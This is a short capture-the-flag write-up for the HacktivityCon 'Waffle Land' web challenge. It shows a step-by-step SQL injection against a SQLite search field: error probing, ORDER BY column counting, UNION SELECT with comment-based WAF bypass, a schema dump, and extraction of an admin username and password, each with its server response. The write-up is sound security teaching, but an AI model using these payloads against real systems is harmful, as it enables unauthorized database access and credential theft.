HacktivityCon CTF

CTF Writeup - https://ctftime.org/event/1101

Home Other writeups of HacktivityCon CTF
2 August 2020

Waffle Land

by shreyas-sriram

We got hacked, but our waffles are now safe after we mitigated the vulnerability.

Connect here:
http://jh2i.com:50024

Solution

Payload

'

Response

Bad Request
(sqlite3.OperationalError) unrecognized token: "'"
[SQL: select * from product where name like '%'%']
(Background on this error at: http://sqlalche.me/e/13/e3q8)

SQL Injection Exploitation Steps

Payload

' ORDER BY 10 --;

Response

Bad Request
(sqlite3.OperationalError) 1st ORDER BY term out of range - should be between 1 and 5
[SQL: select * from product where name like '%' ORDER BY 10 --;%']
(Background on this error at: http://sqlalche.me/e/13/e3q8)

Payload

'/**/UNION/**/SELECT/**/1,2,3,4,5 --;

Response alt-text

Payload

'/**/UNION/**/SELECT/**/1,sql,3,4,5 FROM sqlite_master --;

Response

CREATE TABLE product (
	id INTEGER NOT NULL, 
	name VARCHAR(40), 
	description VARCHAR(500), 
	prize VARCHAR(10), 
	image VARCHAR(50), 
	PRIMARY KEY (id), 
	UNIQUE (name)
)

CREATE TABLE user (
	id INTEGER NOT NULL, 
	username VARCHAR(40), 
	password VARCHAR(40), 
	PRIMARY KEY (id), 
	UNIQUE (username)
)

Payload

'/**/UNION/**/SELECT/**/1,username,password,4,5 FROM user --;

Response

admin
$4
NT7b#ed4$J?eZ#m_

Flag

flag{check_your_WAF_rules}
tags: Web